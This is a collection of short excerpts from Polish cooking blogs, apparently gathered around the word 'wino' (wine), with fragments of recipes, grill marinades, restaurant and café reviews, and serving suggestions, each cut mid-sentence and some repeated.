lodówce wiadereczko kilogramowe kiszonej kapusty. Znalazłam kawałek marchewki, kawałek  twardej części kapusty pekińskiej. Pozostało mi wyciągnąć tylko z zamrażalki boczek parzony i kiełbaskę. Beegees. Bigos na winie. Właściwie z tym, co się nawinie :D Przelałam kapustę kiszoną wodą, żeby domownicy z nadmiaru kwasu się  nie wykręcali. Wstawiłam do gara i wrzuciłam 3 liście laurowe, kilka

pasują do tych smażonych kalmarowych krążków. Szukasz podobnych przepisów, zajrzyj też do: – kalmary ze szpinakiem – chorwackie kalmary w czosnku – przepis na ośmiornicę – małże w białym winie – żabie udka – zupa rybna z owocami morza Ilość porcji: 1 Czas przygotowania: 15 minut Składniki: – 3 duże kalmary (możesz użyć mrożonych) – 2 jajka – 2 łyżki

sernik galicyjski i napoleonka. Jeżeli jednak zamówimy napoleonkę to otrzymamy inne ciasto niż znamy. Tu jest to wielowarstwowe ciasto (kruche/półkruche) przekładane kremem. Otwarcie ogródka świętowaliśmy popijając Marengo, ukraińskie wino musujące - bardzo przyjemne „prosecco”.   Degustowałam na zaproszenie siała baba mak i restauracja Kanapa . deska wykonana przez    Deski Deseczki

pączki, z jabłkami Lukrowane pączki z serka mascarpone nadziewane marmoladą Pączki hiszpańskie Racuchy drożdżowe jak pączki Pączki z budyniem Pączki z serka mascarpone Puszyste racuchy drożdżowe Chrusty na winie Markizy z kremem ajerkoniakowym Pudrowane poduszeczki Sycylijskie cannoli z ricottą Faworki robione mikserem Oponki z twarogu Wydrukuj przepis The post Pączki jogurtowe – Fritule appeared first on Moje Wypieki

stoi na przeszkodzie, aby można też było delektować się tym przysmakiem w sezonie zimowym. Deser niezwykle prosty, bez użycia maszyny do lodów i praktycznie przygotowany „na winie”. Miałam zamrożone dojrzałe banany, które czekały na swoje wykorzystanie. Postanowiłam zrobić domowe lody. Mówicie, że zima i nie bardzo? Nic bardziej mylnego. Właśnie zimą powinno się jadać lody. Lody bananowo orzechowe

tylko jedno dodać… to są najlepsze pączki. Przepis gorąco polecam – na tłusty czwartek… i nie tylko. Smacznego. Poniżej moja kolekcja przepisów na Tłusty Czwartek: Faworki na piwie Chrusty na winie Churros z masą migdałową Oponki z twarogu Pączki jogurtowe – Fritule Pączki z budyniem Pączki hiszpańskie Pączki z serka mascarpone Lukrowane pączki z serka mascarpone nadziewane marmoladą Pączki z ziemniakami

chwili także pokrojoną w kostkę pierś kurczaka. Smażymy na dużym ogniu, często mieszając, przez około 2 minuty. Dodajemy pokrojoną cebulkę i czosnek, smażymy kolejne 2 minuty. Dolewamy wino lub bulion i chwilę odparowujemy. Dodajemy pomidory z puszki, zagotowujemy, przykrywamy pokrywką i zmniejszamy ogień do małego. Gotujemy 5 minut, po czym dodajemy szparagi i wodę z gotowania makaronu. Gotujemy

Pyszna, zdrowa i sycąca. Będzie doskonałą propozycją na lekki obiad lub kolację. Świetnie smakuje z kieliszkiem dobrego wina. Moja siostra była zachwycona jej smakiem. 1 woreczek kaszy jęczmiennej Cenos pęczek szparagów filet z kurczaka 1/2 sałaty lodowej sól, świeżo zmielony pieprz 7 pomidorków koktajlowych 3 łyżki ziaren prażonych (słonecznik, pini, pestki dyni) Dressing: 1/2 szkl oliwy z oliwek

francuską nazwą tego sosu french onion dip. French onion dip przyrządza się z żółtej cebuli, którą karmelizuje się podobnie jak do zupy cebulowej . Można również i tu użyć białego wina lun wytrawnego sherry lub winnego octu. Cebula po usmażeniu jest słodko kwaśna. Wymieszana z jogurtem jest super. To kolejny sos, który świetnie pasuje do grillowanego mięsa i pieczonych warzyw

Wyśmienita jest też wołowina teriyaki. Na blogu znajdziecie uproszczony przepis na marynata teriyaki  - do drobiu, mięsa i ryb , dziś jednak chciałabym Wam podać wariant wzbogacony o mirin, rodzaj wina ryżowego stosowanego w kuchni japońskiej. Bardzo dobrt, gotowy sos lub marynatę teriyaki można kupić w sklepie internetowym Kuchnie Świata . Tam też dostępny jest mirin i olej sezamowy Kurczak

wędzonego łososia norweskiego pęczek świeżego koperku  6-10 małych srebrzystych cebulek z zalewy  2 łyżki miodu  główki zielonych szparagów  1 łyżka octu z białego wina  1 łyżka oliwy z oliwek sól i pieprz do smaku  Wykonanie :  1. białe szparagi obieramy i usuwamy zdrewniałe końce. Kroimy na ok 3-5 cm kawałki

Miały być 'chewy', czyli miękkie i żujace. Moje wyszły raczej mocno chrupkie... I nie jest to w żadnym wypadku wina przepisu, ale raczej generalnej ilości rzeczy do codziennego ogarnięcie: ciacha były w piekarniku, alarm zadziałał, jak powinien, a ja zagadałam się z Małżem-Szanownym i zostawiłam je przypadkowo na kilka kolejnych minut. Prawdę powiedziawszy nic szczególnie złego się

średnio wyczuwalny. Najlepiej dopełniać go kruszonym lodem oraz podawać z dwiema słomkami, w razie gdyby jedna z nich się zapchała liśćmi mięty. Zobacz też: Owocowe koktajle na bazie różowego wina Lemoniada chia fresca – naturalny izotonik 10 pysznych przepisów na zdrowe koktajle Przepis na Mojito Drukuj przepis Porcji: 1 Czas gotowania: 10 minut Składniki 50 ml białego rumu limonka

Pizza z grilla to rewelacyjny pomysł na ciepłe dni, kiedy jak najwięcej czasu chcemy spędzać na dworze.  Wyobraźcie sobie, że siedzicie w ogrodzie z przyjaciółmi lub rodziną, popijacie wino i delektujecie się pyszną pizzą prosto z rusztu. Gwarantuję Wam, że zrobicie tym przepisem furorę na przyjęciu w ogrodzie i zaimponujecie wegetarianom.  Skąd właściwie ten pomysł? Czy pizzę

miksujcie, aż masa będzie jednolita) Do ozdobienia będziecie potrzebowali: Około 600 g mas cukrowej Barwnik spożywczy w żelu (użyła fiolet wiltona)  Wykrawaczkę okrągłą do ciastek (użyłam nakrętki od wina) Wykonanie: Wystudzony pierwszy blat ciasta ułożyć na podstawce i posmarować kremem czekoladowym.  W taki sposób złożyć cały tort. Schłodzić w lodówce co najmniej 2 godziny. Schłodzony tort posmarować

Nikogo nie dziwi, gdy w restauracji somelier proponuje wino właściwe do zamówionej potrawy, bo sztuka doboru tego trunku do dań zagościła w naszej świadomości na dobre. A czy wiedzieliście, że w podobny sposób możemy łączyć z jedzeniem kawę? W marcu miałam przyjemność uczestniczyć w zorganizowanych przez Starbucks niezwykłych warsztatach dotyczących zasad coffee and food pairing , czyli łączenia kawy

nagrzanego do 220'C i pieczemy przez 15 minut. Podajemy na ciepło, choć na zimno smakują równie doskonale. Notes Do przystawki świetnie sprawdzi się wytrawny Muscat. Lekki styl tego wina świetnie łączy się z delikatnymi, gotowanymi lub pieczonymi szparagami. By Małgorzata Hert Wędrówki po kuchni http://www.wedrowkipokuchni.com.pl

wystarczy, żeby mięso było średnio wypieczone). Mięso można usmażyć też na patelni. Smacznego! Szukasz więcej pomysłów na grilla – koniecznie sprawdź również: Słodko ostra posypka na grilla Glazura z wina i cynamonu Marynata na grilla z sokiem jabłkowym Tymiankowo cytrynowa glazura do skrzydełek Artykuł Majówka: Polędwiczki w kowbojskiej marynacie pochodzi z serwisu Niedzielny kucharz

przystawka. Przy obu menu przystawka jest taka sama. Jednym z głównych dań jest łosoś sous-vide aromatyzowany trawą cytrynową, podany z puree z kalafiora oraz czarne risotto na białym winie i pesto z czosnku niedźwiedziego. Danie zdobi rzepa arbuzowa i puder z malin. Pięknie podane, bardzo smaczne danie. Drugim daniem głównym do wyboru są placuszki z batatów z puree

jeszcze bardziej wyostrzyć, z delikatną winną nutką, która znika całkowicie w trakcie pieczenia.  Polecam Wam serdecznie!  Składniki: 1½ karkówki pociętej na 2cm plastry 250ml czerwonego wytrawnego wina 5 ząbków czosnku 1 mała cebula Sok z 1 cytryny 125ml oleju 1 łyżeczka słodkiej wędzonej papryki ½ łyżeczki papryki czerwonej ostrej ⅓ łyżeczki pieprzu 1 pełna łyżeczka soli 1 łyżeczka tymianku

inny sposób podane. Danie dość proste w przygotowaniu i ugotowanie go nie zajmuje dużo czasu. Jeżeli chcemy zrobić na bogato, uszlachetnić smak potrawy, dodajmy trochę czerwonego wina . Składniki 1 i 1/2 kg cebuli 300 g schabu lub karkówki 400 g pomidorów … Czytaj dalej Potrawka z mięsem

glazurą co 10 minut odwracając skrzydełka. Czas pieczenia – 45-50 minut. Smacznego! Szukasz więcej pomysłów na grilla – koniecznie sprawdź również: Słodko ostra posypka na grilla Glazura z wina i cynamonu Zaprawa na grilla z espresso i papryki Marynata na grilla z sokiem jabłkowym Artykuł Majówka: Skrzydełka z grilla w tymiankowo-cytrynowej marynacie pochodzi z serwisu Niedzielny kucharz

kilka, a nawet kilkanaście godzin przed pieczeniem, wołowinę można zamarynować,W skład marynaty oprócz oleju, ziół i ulubionych przypraw, powinien wchodzić także kwaśny składnik (np. sok z cytryny, ocet, wino), który powoduje kruszenie mięsa. Wołowina dobrze komponuje się z rozmarynem, tymiankiem, kminem rzymskim, natką kolendry i pietruszki, estragonem, szałwią i miętą. Do marynat i potraw z mięsa wołowego możemy

chorobom serca. Największym skarbem  granatów  są łatwo przyswajalne  polifenole  należące do przeciwutleniaczy. W soku granatów jest ich trzykrotnie więcej niż w zielonej herbacie lub czerwonym winie. Co można zyskać, jedząc granaty lub pijąc z nich sok? Jedząc  granaty  można poprawić krążenie krwi,  zredukować złogi i zwapnienia oraz obniżyć ciśnienie krwi. Jeśli

wrzucić pokrojone na kawałki mięso, zmiksować 12 sekund, obroty 6 Na patelnię dodać mięso i smaży aż straci kolor surowizny. Mieszać co jakiś czas. Doprawić solą do smaku. Wlać wino i smażyć aż odparuje. Dodać pieprz, oregano, pokrojone drobno chilli. Chilli musi mieć usunięte nasionka. Wymieszać i smażyć jeszcze chwilkę. Wlać pomidory z puszki, odcedzoną kukurydzę i wywar. Dodać

się początkowo trudna, ale bawiłam się całkiem dobrze. Można było zamienić kilka słów z międzynarodowymi szefami w luźnej atmosferze, zjeść lunch lub kolację (niestety takie same), napić się przyjaciółmi wina z winnicy Turnau i lemoniady S. Pellegrino z moim ulubionym widokiem na Aleje Jerozolimskie. Za konferansjerkę odpowiadał Grzegorz Łapanowski a spotkanie miało miejsce na ostatnim piętrze Vitkaca (w sali

Piecz na dobrze rozgrzanym grillu po 5-7 minut z każdej strony. Smacznego! Szukasz więcej pomysłów na grilla – koniecznie sprawdź również: Słodko ostra posypka na grilla Glazura z wina i cynamonu Tymiankowo cytrynowa glazura do skrzydełek Zaprawa na grilla z espresso i papryki Artykuł Marynata na grilla z sokiem jabłkowym pochodzi z serwisu Niedzielny kucharz

wystarczy, żeby mięso było średnio wypieczone). Mięso można usmażyć też na patelni. Smacznego! Szukasz więcej pomysłów na grilla – koniecznie sprawdź również: Słodko ostra posypka na grilla Glazura z wina i cynamonu Marynata na grilla z sokiem jabłkowym Tymiankowo cytrynowa glazura do skrzydełek Artykuł Zaprawa na grilla z espresso i papryki pochodzi z serwisu Niedzielny kucharz

minut z jednej strony i 5 minut z drugiej. Podczas pieczenia lekko uchyl drzwi do piekarnika. Smacznego! Szukasz więcej pomysłów na grilla – koniecznie sprawdź również: Glazura z wina i cynamonu Zaprawa na grilla z espresso i papryki Marynata na grilla z sokiem jabłkowym Tymiankowo cytrynowa glazura do skrzydełek Artykuł Słodko ostra posypka na grilla pochodzi z serwisu Niedzielny

glazurą co 10 minut odwracając skrzydełka. Czas pieczenia – 45-50 minut. Smacznego! Szukasz więcej pomysłów na grilla – koniecznie sprawdź również: Słodko ostra posypka na grilla Glazura z wina i cynamonu Zaprawa na grilla z espresso i papryki Marynata na grilla z sokiem jabłkowym Artykuł Tymiankowo cytrynowa glazura do skrzydełek pochodzi z serwisu Niedzielny kucharz

ładny wygląd. Marynata najlepiej nadaje się do przyrządzania piersi z kurczaka, dość cienko pokrojonej i lekko rozbitej tłuczkiem. Przepis pochodzi od Melissy Clark . Czas grillowania : 10 minut Glazura z wina i cynamonu Bardzo aromatyczny dodatek do mięsa, nadający mu zupełnie nowy smak. Glazura jest doskonała przede wszystkim do mięsa wieprzowego: np. polędwiczki lub łopatki, ale super nadaje się też

komponuje się z daniami wytrawnymi. Drób i jabłka, to idealny duet, zarówno na ciepło, jak i na zimno, tak jak nasza dzisiejsza salsa. Duszone mięso wieprzowe z odrobiną białego wina i jabłek smakuje wybornie. Jabłka Grójeckie nie powstydzą się także towarzystwa zdrowych ryb, możemy je pokroić w plastry i zapiekać z rybą w śmietanowy sosie. Nie sposób oczywiście zapomnieć

parmezan. Całość dusimy bez pokrywki (tylko wtedy szparagi będą pięknie zielone) przez 2 minutki. Wykładamy na talerze, podajemy z plasterkami łososia i oprószonym parmezanem. Idealne do lampki białego wina lub cydru polskiego. Pyszne

włochów, ale i ludzi na całym świecie. Pełnoziarnisty makaron z soczystymi pomidorami, mozzarellą oraz świeżymi ziołami jest zawsze udaną kompozycją. Te kilka składników wystarczy. No dobra, może jeszcze lampkę wina do tego nalejmy ;) I tyle! Smacznego!   SKŁADNIKI: * makaron pełnoziarnisty Farfalle Primo Gusto – ok. 250 g * pomidory w kawałkach z czosnkiem Primo Gusto

naszego sukcesu. To dzięki nim grillowane potrawy mają tak wyśmienity smak i aromat. Ich podstawowymi składnikami są olej , który natłuszcza mięso, kwaśny składnik (ocet, sok z cytryny, jogurt lub wino), który powoduje ścięcie białka i nadaję miękkość,  oraz zioła i przyprawy (np. papryka, chili, miód, czosnek, cebula, cynamon, imbir, goździki, kozieradka, rozmaryn, lubczyk, tymianek lub inne). Delikatne mięso

młodej kapusty. Składniki:   ½ główki młodej kapusty (600 g) ½ pęczka koperku 1-2 ząbki czosnku 60 ml oliwy z oliwek 2-3 łyżki octu z białego wina 1 płaska łyżeczka soli 1/3 łyżeczki czarnego pieprzu 1 płaska łyżeczka cukru   Kapustę cienko poszatkuj, przełóż do miski.   Dodaj posiekany koperek, utarty czosnek, oliwę z oliwek

innymi dodatkami jak również jako dodatek do pieczywa, na zimno Składniki 1 kg łopatki 50 dkg mięsa mielonego wieprzowego 2 jajka 3 ząbki czosnku 1 kieliszek białego wytrawnego wina 1 kromka chleba 1 kostka rosołowa olej sól, pieprz,tymianek, do smaku Łopatkę rozkroić … Czytaj dalej Rolada z łopatki

potrzebować: 500g mascarpone 200g savoiardi (biszkopty) 4 jajka 4 łyżki stołowe cukru do żółtek 4 łyżki stołowe cukru do białek Kakao Szczypta soli Espresso  Alkohol: koniak, whisky, lub wino marsala Mixer lub rózga Owoce do dekoracji np. truskawki, borówki 1. Zaczniemy od oddzielenia żółtek od białek, żółtka ucieramy z cukrem, a połowę ilości białek ubijamy ze szczyptą soli

kostkę 1×400 g puszka krojonych pomidorów 2 łyżki przecieru pomidorowego brązowy cukier, sól i pieprz do smaku 2 łyżki posiekanych listków bazylii 1 łyżka octu z czerwonego wina 100 g fasolki szparagowej, z przyciętymi końcami i pokrojonej w 2 cm kawałki (może być mrożona) 1 mała cukinia, pokrojona w kostkę Przygotowanie: Natrzyj kotleciki solą i pieprzem. Rozgrzej

mięso jest upieczone i osiągnęło minimalną bezpieczną temperaturę, przy której giną bakterie. Ale uwaga… termometr nada się nie tylko do mięsa. Można z jego pomocą sprawdzić temperaturę wina, jak również wykorzystać do temperowania czekolady (tego jeszcze nie przetestowałam, ale myślę, że się nada;)). Doskonale też posłuży świeżo upieczonym rodzicom do sprawdzania wody do kąpieli dla maluszka czy temperatury

oliwek; 1/2 łyżeczki soli; 1/4 łyżeczki czarnego pieprzu; 1 łyżka ziaren sezamu; 1/2 pęczka natki pietruszki. SOS SŁODKO - KWAŚNY 8 łyżek octu jabłkowego (lub octu winnego z białego wina); 1/2 szklanki białego cukru; 3 łyżki ketchupu; 2 łyżki sosu sojowego, jasnego; 4 łyżki zimnej wody; 1/2 łyżeczki czosnku granulowanego; 3 łyżki mąki kukurydzianej wymieszane z 3 łyżkami zimnej wody

mięso jest upieczone i osiągnęło minimalną bezpieczną temperaturę, przy której giną bakterie. Ale uwaga… termometr nada się nie tylko do mięsa. Można z jego pomocą sprawdzić temperaturę wina, jak również wykorzystać do temperowania czekolady (tego jeszcze nie przetestowałam, ale myślę, że się nada;)). Doskonale też posłuży świeżo upieczonym rodzicom do sprawdzania wody do kąpieli dla maluszka czy temperatury

ramach programu Polskie Skarby Kulinarne, o których pisałam Wam tu –>KLIK przygotowywaliśmy słodkie torciki z musem dyniowym i kiszoną kapustą. Dziś przedstawiam Wam moją wersję, bez wina, aby maluchy również mogłyby ją zjeść. Przyznam szczerze, że obawiałam się, że moja 4-latka będzie wybrzydzać, ale okazało się, że po 10 minutach po tarcie zostały tylko okruszki

smakuje. Inne pasty na chleb: tutaj i tutaj. Zapraszam: Wiosenne smarowidło: 150 g naturalny serek z ziołami 1 czerwona cebulka 3 łyżki wody 2 łyżki oliwy 4 łyżki białego wina 4 łyżki suszonych owoców: morele

Kolejny przepis na muffinki, tym razem w wersji wytrawnej z fetą i suszonymi pomidorami. Doskonale nadają się na podwieczorek lub przyjęcie jako przystawka. Pasują zarówno do wytrawnego wina jak i do piwa. Świetnie też sprawdzają się jako przekąska do szkoły czy pracy. Tak jak wszystkie muffinki czas przygotowania to 30 minut wliczając już czas pieczenia

cukru 1 żółtko 80 g masła 1 łyżeczka cukru waniliowego 180 g mixu bakalii (figi, skorka pomarańczowa kandyzowana, żurawina suszona) migdały 1 roztrzepane jajko 4 łyżki słodkiego wina DEKORACJA: bita śmietana wiórki kokosowe CHOINKI: paluszki 1 tabliczka białej czekolady zielony barwnik kolorowa posypka  CHOINKI: Białą czekoladę rozpuszczamy w kąpieli wodnej wraz z kilkoma kroplami barwnika.  Przelewamy

kawałki kurczaka pozbawiamy skóry. Jeśli natomiast pieczecie ze skórą, to należy pamiętać, aby kawałki wkładać do pieca skórą do góry oraz aby nie polewać przyrumienionej skóry bulionem lub winem, gdyż nie będzie chrupiąca. Przepis na “Kurczaka pieczonego z fasolą, porem i szpinakiem” pochodzi z najnowszej książki Gordona Ramsay’a “Ultimate Fit Food”. The post Kurczak

przez od miesiąca do sześciu miesięcy. Po tym czasie zlać gotowy ocet do butelki . Ocet szampański - jest łagodny,przyjemny. Można go zastąpić fermentującym w butelkach octem z cava, katalońskiego wina musującego. Proste, prawda?warto go mieć w swojej kuchni

przestało buzować, kroimy na porcje i podajemy. Każda mieszanka sałat z prostym winegretem lub z sosem włoskim będzie tutaj idealna jako prosty dodatek. Tak jak kieliszek schłodzonego, półwytrawnego białego wina. CIASTO KRUCHE NA OLIWIE 180g mąki pszennej* T450 albo T500 + zapas do podsypania 50g dobrej włoskiej oliwy z oliwek extra virgin 50-60ml lodowato zimnej wody 1 płaska

Hej! Białą kiełbasę najczęściej spożywamy w czasie Wielkanocy. Dziś podaję przepis na zapiekaną w cebuli i jabłkach z lubczykiem. Potrzebujemy: Czytaj więcej »

ciepło. A ja raczę się jeszcze dodatkowo bardzo aromatycznym i pełnym korzennych smaków naparem imbirowym, który jest tu przygotowywany  z podpalanych korzennych przypraw. W lokalu jest też serwowane wino z polskich winnic, między innymi z winnicy Płochockich i Turnau. W Polocie możecie też skosztować pysznych domowych nalewek, między innymi kawowej, śliwkowej i pigwowej. Polot nieustająco zaskakuje pozytywnym smakami

przykryć ręcznikiem, żeby ser nie ostygł. Na tą samą patelnię na której smażył się ser wlać odrobinę oliwy. Rozgrzać, wrzucić krewetki i smażyć około 0,5 minuty. Następnie wlać wino i smażyć jeszcze minutę lub jak krewetki będą gotowe do jedzenia. Na sałatę rozrzucić krewetki i ser. Obłożyć pokrojonymi pomidorkami koktajlowymi. polać sosem który został na patelni. Podawać

resztę do pojemnika i przechowuj w lodówce. W prosty sposób możesz go odgrzać następnego dnia. Wystarczy, że na patelnię lub do rondelka dodasz makaron oraz nieco wody lub białego wina. Dodatkowy płyn rozrzedzi nieco sos i makaron będzie pyszny. Po podgrzaniu makaronu na niewielkim ogniu połącz go z ulubionymi dodatkami. RÓŻNORODNOŚĆ MAKARONÓW To jak kaloryczne będzie Twoje danie zależy

cebulą - sprawdzony przepis krok po kroku. SKŁADNIKI: 300g filetów śledziowych a'la Matias (lub marynowanych w oleju) ok. 250g gęstej śmietany 18% (mały kubeczek) 3 łyżki octu z białego wina 3 łyżki majonezu 1 jabłko obrane i starte na tarce o dużych oczkach 1 łyżka posiekanego koperku 1 średnia cebula, posiekana i sparzona wrzątkiem sól i pieprz do smaku

175C na około 60 minut. Wystudzić, wyjąć z foremek. II. Marynowane śliwki Kalifornijskie 20 śliwek kalifornijkich 100 g kawy żołędziowej  150 ml wody 50 ml octu z czerwonego wina 50 g miodu 4 goździki 1 laska cynamonu W rondlu umieścić wszystkie składniki poza śliwkami. Zagotować, dodać śliwki, gotować przez 3 minuty. Zdjąć z ognia. zostawić śliwki w rondelku

175C na około 60 minut. Wystudzić, wyjąć z foremek. II. Marynowane śliwki Kalifornijskie 20 śliwek kalifornijkich 100 g kawy żołędziowej  150 ml wody 50 ml octu z czerwonego wina 50 g miodu 4 goździki 1 laska cynamonu W rondlu umieścić wszystkie składniki poza śliwkami. Zagotować, dodać śliwki, gotować przez 3 minuty. Zdjąć z ognia. zostawić śliwki w rondelku

matias SEKO 1 szt. awokado sok z cytryny 2 łyżeczki majonez 2 łyzeczki pieprz 5 jajek przepiórki ugotowane na twardo pieprz rzeżucha do posypania  Z kromek kieliszkiem do wina wytnij krążki.  Z awokado, soku z cytryny majonezu i pieprzu zrób pastę. ja użyłam blendera miksując pulsacyjnie, wtedy są wyczuwalne kawałki awokado.  Posmaruj tartinki pastą na wierzch

bazie bulionu. Składniki do bulionu można dowolnie zmieniać: niektórzy do bulionu warzywnego dodają również kawałek kapusty, selera naciowego czy też papryki. Gordon Ramsay zaś dodaje do bulionu białe wino (kiedyś na pewno przetestuję bulion wg jego przepisu ;-) ). (adsbygoogle = window.adsbygoogle || []).push({}); The post Bulion warzywny appeared first on KulinarnePrzeboje.pl

Krewetki na maśle z chili to idealny pomysł na przystawkę. Bardzo proste danie, które smakiem urzeknie nie jeden żołądek. Krewetki , jako afrodyzjak można stosować w różnych

Przekąska o efektownym wyglądzie, szybka do przygotowania. Doskonała jako przekąska na imprezę, do piwa, wina lub herbaty. 1 opakowanie ciasta francuskiego 80 gram pesto Nagrzać piekarnik do 200C, góra-dół, bez termoobiegu. Blaszkę wyłożyć papierem do pieczenia. Rozwinąć ciasto francuskie. Posmarować ciasto cienką warstwą pesto. Ostrym nożem naciąć ciasto w cienkie paski, następnie przekroić je na pół. Każdy kawałek

duże buraki 1 małą czerwona cebulka 2 ząbki czosnku 3 łyżki posiekanego koperku 60 g bułki tartej 1 duże jajko sól i pieprz łyżeczka octu z białego wina masło klarowane do smażenia i bułka tarta do obtoczenia Buraki pieczemy lub gotujemy do miękkości. Obieramy i ścieramy na tarce o drobnych oczkach. Cebule drobno siekamy i podsmażamy na łyżce masła

zdrowo, mniej kalorycznie. Warzywa zagościły dumnie na naszym stole, grają teraz pierwsze skrzypce. Biały chleb ustąpił miejsca razowemu z ziarnami, ziemniaki odeszły do lamusa, a słodycze, słodkie napoje i wino do obiadu zastąpiła po prostu woda. Trochę cierpię, bo bardzo lubię jeść, czasami także kalorycznie ale coraz trudniej zrzucić mi zbędne kilogramy, a wiosna już tuż, tuż… Składniki

wyjątkowe czekolady są idealne na chwilę relaksu, znakomicie sprawdzą się jako upominek dla bliskich nam osób, są wspaniałym dodatkiem do eleganckiej biżuterii, a nawet uzupełnieniem wyjątkowego wieczoru przy kieliszku wina. Oj tak, nawet mój mąż sięga z czystą przyjemnością po kolejną kostkę czekolady… Docenione przez konsumentów i… Mała krakowska pracownia Jakuba Piątkowskiego doceniona została nie tylko przez

Prosta surówka z czerwonej kapusty na zimno . Chrupiąca, bo niegotowana. Delikatnie zmiękczana tylko octem z czerwonego wina. Bez żadnych zbędnych dodatków. Bez śmietany, bez majonezu, bez cukru, bez cebuli czy jabłek. Tylko kapusta, olej, ocet i miód. Idealna do dań obiadowych. Ulubiona do dań z wieprzowiny. Wegańska i bez glutenu. The post Surówka z czerwonej kapusty appeared first

godzinę przed podaniem, nabiera wówczas bogatszego smaku i doskonale komponuje się z suszonymi pomidorami marynowanymi w oliwie,  oliwkami lub ciemnymi winogronami. Ten ser najlepiej komponuje się z jasnoczerwonym winem, takim jak Beaujolais, Chenin Blanc, St Emilion, St Estephe. Camembert je się łyżką

zamrozić. Do nadzienia można wykorzystać prawie wszystkie warzywa, a poza tym mięso, ryby, wędliny, sery i zioła. To doskonała przekąska na przyjęcie czy spotkanie, do kieliszka schłodzonego białego wina i miłego towarzystwa :) Można zaserwować ją na ciepło lub przygotować wcześniej i podać jako zimną przekąskę. Składniki: Spód: 250 g mąki pszennej szczypta soli 175 g masła 60 ml zimnej

idealne na pesto. Wczoraj byłam zaproszona do włoskiej restauracji. Zostałam mocno zainspirowana i dzisiaj nabrałam ochoty na crostini posmarowane z pesto z karczochów. Crostini to idealna przekąska do wina na sobotni wieczór. Lubicie domowe crostini? Najlepsze są te z bagietki na zakwasie . Pesto z karczochów zmiksowałam z karczochów w zalewie z oliwy wraz z orzechami makadamia i bazylią. Dodałam

ricotta * mascarpone * mozzarella * pomidory * świeża bazylia * oliwki zielone * sery: parmezan/grana padano/pecorino * szynka parmeńska (prosciutto) * salami * melon * czerwone winogrona * figi * paluszki grissini * świeża bagietka * oliwa z oliwek * słodki ocet balsamiczny * wino Chianti, Marsala, Prosecco, Chardonnay

Otóż pan Jan, w zbiorze „Fraszki nowe sowizdrzałowe” (1615 r) takie oto składał pięknym paniom życzenia: „Ich mościłam białogłowym bo to delikatni, Gdzie ich kilka pospołu, jak różane kwiatki. Wino rajskie w gloneczkach, miłościwe panie, Limunije, cytryny, waszmość proszę na nie. Dla gładyszek przyniosłem foremnego mydła, Mam i dragant, kamforę, inne rumieniła, Wódki rajskie, co od nich rumienieje lice

jest naszym Dniem Tequili, więc muszę się zbierać... :D Właśnie uświadomiłam sobie, że wszyscy moi współlokatorzy posiadają normalne produkty spożywcze w lodówce, a na mojej półce znajduje się: 1. Wino Montendoli Tradizionale Vermaccia Di San Gimignano (polecam!) 2. Jabłkowy Vinegar. 3. Masło.  ...........  Jak przystało na kucharkę, czy co?!  UDANEJ SOBOTNIEJ NOCY KOCHANI!!! P.S. Chciałabym podziękować mojemu

brak soczystości w upieczonej piersi (robiłam danie z głowy, więc brałam pod uwagę, że coś nie wyjdzie). Ponieważ patelnia po upieczeniu zrobiła się sucha, wlałam na nią chlust różowego wina, jakie miałam akurat w lodówce. Kiedy alkohol odparował postanowiłam dodać trochę rosołu, który parując podczas pieczenia, będzie nawilżał moją pierś z indyka oraz będzie moim sosem do pieczeni

Cię zainteresować: → Grillowany ser kozi z buraczkiem, orzechami włoskimi, rukolą i dressingiem z czarnego bzu → Grillowany camembert z sosem rabarbarowym i orzechami pekan → Mus z koziego sera, galaretką czerwonego wina i chipsami z buraczka (adsbygoogle = window.adsbygoogle || []).push

cytryny skórka z cytryny Składniki na krem: 200 ml śmietany kremówki 250 g serka mascarpone 2 łyżki cukru pudru 2 łyżeczki cukru waniliowego + woda z cytryną lub wytrawne białe wino na poncz, dowolne owoce do dekoracji (u mnie borówki, maliny, granat), dżem malinowy do przełożenia ciasta Szpinak myjemy, osuszamy na ręczniku i miksujemy. W takim blenderze jak mój trzeba

koniec gotowania dodać zawartość miseczki, czyli pomidory z tuńczykiem i czosnkiem.  Na sam koniec dodać masło, starty ser, zioła prowansalskie i dokładnie wymieszać. Jeść, najlepiej w towarzystwie białego wina

życie (i to wielokrotne w całej historii). Lektura "Dwóch niedźwiedzic" wymaga sporego samozaparcia, bo nie jest łatwo. Czyta się bardzo trudno, a poza tym między wierszami wyczuwa się wylewanie win i rzucanie oskarżeń. Książka jest przesycona smutkiem, poczuciem niesprawiedliwości i użalaniem się nad sobą. Jeśli czytaliście "Księgi Jakubowe" Olgi Tokarczuk, to doskonale zrozumiecie, co mam na myśli. Mnie przy

dania sprawdzone, syte, treściwe i łatwe w przygotowaniu, czyli gulasz. I ponownie do jego przygotowania wykorzystałam mój wolnowar. Tym razem zrobiłam gulasz z wołowiny z dodatkiem pomidorów, papryki i wina. Wyszło pysznie jak zwykle. Cóż chcieć więcej. Czytaj więcej

oraz tradycyjne taco z kurczakiem, quacamole, salsą pomidorową i sosem mango chilli. Tym razem na warsztaty namówiłam swoje przyjaciółki, było to nasze pierwsze wspólne gotowanie nie zabrakło śmiechu i wina :) kuchnia to takie magiczne miejsce, gdzie wszyscy się jednoczą i potrafią szybko zapomnieć o problemach. Nam na warsztatach najbardziej zasmakowała zupa limonkowa z szarpanym kurczakiem wg przepisu Klaudii Budny

prażenie -łamanie i łuszczenie -mielenie -konszowanie -temperowanie W pijalni można spróbować pysznej pitnej czekolady z różnymi dodatkami, naturalnych lodów własnej produkcji oraz czekoladowych smakołyków: czekolad z owocami, czekolad inspirowanych winem, pralin, czekoladowych narzędzi i wiele, wiele innych. Miejsce cudowne, z czekoladowym klimatem. O wypróbowanych smakołykach w tej bajkowej krainie opowiem w następnym poście. Powiem tylko tyle są niesamowicie delikatne, smaczne(...)mogłabym się nimi delektować bardzo bardzo długo.....  W domu jeszcze próbowałam czekoladek inspirowanych winem - są obłędne. Do tego miejsca wrócę z moją rodzinką jeszcze nie raz...... :) Do zobaczenia :) Więcej informacji o tym cudownym miejscu można znaleźć na stronie : www.mpelczar.pl

jeszcze z czasów pogańskich, a zwiastowało ono koniec zimy i nadejście wiosny. Ucztowanie opierało się na jedzeniu tłustych mięs oraz innych tłustych potraw i oczywiście przepijanie tego wszystkie hektolitrami wina. Za przekąskę służyły „pączki” z ciasta chlebowego nadziewanego słoniną. Rzymianie, od których na dobrą sprawę wszystko się zaczęło nazywali ten dzień tłustym dniem . Jednak Małopolska, jak zwykle musiała być

